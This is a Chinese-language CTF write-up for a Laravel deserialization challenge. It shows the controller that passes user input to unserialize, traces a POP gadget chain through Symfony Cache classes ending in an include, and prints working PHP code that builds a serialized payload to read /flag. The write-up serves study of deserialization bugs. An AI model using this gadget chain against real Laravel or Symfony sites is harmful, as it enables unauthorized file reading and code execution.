知识点:代码审计
从页面给的代码我们可以看到有网站备份source.tar.gz,且是以get方式传一个序列化的payload。
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}
解压一下tar -zxvf source.tar.gz,然后就是审计了,没说明头绪就先看一下大佬们的解析,这边我学到两个方便的功能,在phpstorm中Ctrl+Alt+B显示子类继承图,Ctrl+Alt+U显示父类继承图,各类的关系很清晰。

序列化的题目可以从__destruct入手,在TagAwareAdapter中,再继续完善链子,且invalidateTags也在本页中。
现在链子为__destruct => commit => invalidateTags

在invalidateTags中$this->pool是可控的,那么我们可以找一个有saveDeferred方法的类,但在这之前要先看一下pool怎么赋值。

可以看到pool是接口AdapterInterface的,所以现在要找一个实现接口AdapterInterface且存在方法saveDeferred的类,且saveDeferred这个方法可以利用。

PhpArrayAdapter中saveDeferred,null === $this->values默认符合,然后$this->initialize();,继续向下看呗
。

但是在利用saveDeferred之前还要实现一个接口CacheItemInterface,选择一个。


实现了CacheItemInterface接口后,再看initialize();方法,也是链子的结尾。(在PhpArrayTrait.php中),利用点就是include。

namespace Symfony\Component\Cache{
final class CacheItem{}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = ["succ3"=>new CacheItem()];
$this->pool = new PhpArrayAdapter();
}
}
class PhpArrayAdapter{
private $file = "/flag";
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
}
https://www.xuxblog.top/archives/ciscn2019zong-jue-sai-day1web4laravel1